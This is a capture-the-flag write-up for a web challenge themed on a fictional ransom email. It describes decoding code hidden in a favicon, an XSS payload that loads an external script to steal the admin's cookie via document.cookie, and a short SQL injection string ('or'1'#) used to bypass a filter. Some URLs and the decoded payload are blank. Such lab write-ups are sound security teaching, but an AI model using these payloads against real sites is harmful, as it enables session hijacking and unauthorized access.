Level 4 - The Magician's Den

One day, the admin of Apple Story Pte Ltd received an anonymous email.
Dear admins of Apple Story, We are PALINDROME.
We have took control over your system and stolen your secret formula!
Do not fear for we are only after the money.
Pay us our demand and we will be gone.
For starters, we have denied all controls from you.
We demand a ransom of 1 BTC to be sent to 1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2 by 31 Dec 2021.
Do not contact the police or seek for help.
Failure to do so and the plant is gone.
We planted a monitoring kit so do not test us.
Remember 1 BTC by 31 dec 2021 and we will be gone. Muahahahaha.
Management have just one instruction. Retrieve the encryption key before the deadline and solve this.
Note: Payloads uploaded will be deleted every 30 minutes.

Finding the Target Server

From the challenge name and this photo, we could gather that this challenge was inspired by Magecart!
We were also hinted to look into Magecart's past TTPs. I initially thought of card skimming JavaScript, but after taking a look at the page contents, this seemed rather unlikely (the only JavaScript was for the countdown timer).
This bit about Favicons was quite interesting, though, so I decided to look into it.
It appears that the webpage's Favicon does indeed include some code!
The base64 payload decodes to
We found a new endpoint, and we know that we can send POST requests to it!

Authenticating as the Admin

Exploring a bit more, we can also find out the following:
  1. 1.
    When POST-ing data to the server, the data is saved to a HTML file.
  2. 2. lists all the recent HTML files.
  3. 3.
    The files are read by the admin.
  4. 4.
    We can perform an XSS on the admin.
I sent the following HTML payload:
Hi from scada
<script src=""></script>
On the exploit server, the following cookie stealing payload is hosted on exploit.js:
document.location.href = "" + document.cookie;
This allows us to obtain the admin cookie.

Getting the Flag

In the robots.txt file, we discover some interesting entries.
The login.php endpoint redirects to landing_admin.php once we have authenticated as the admin. We also learnt that we can set ?debug=TRUE.
Here, we need to exploit an SQL injection to obtain the flag. The debug parameter helps us to see SQL errors! The challenge is that the filter can only be 7 characters long, so we have to get creative.
I ended up with filter='or'1'#. Spaces were not needed between strings, the '1' string evaluates to a boolean True, and the # comments out the rest of the query to prevent errors.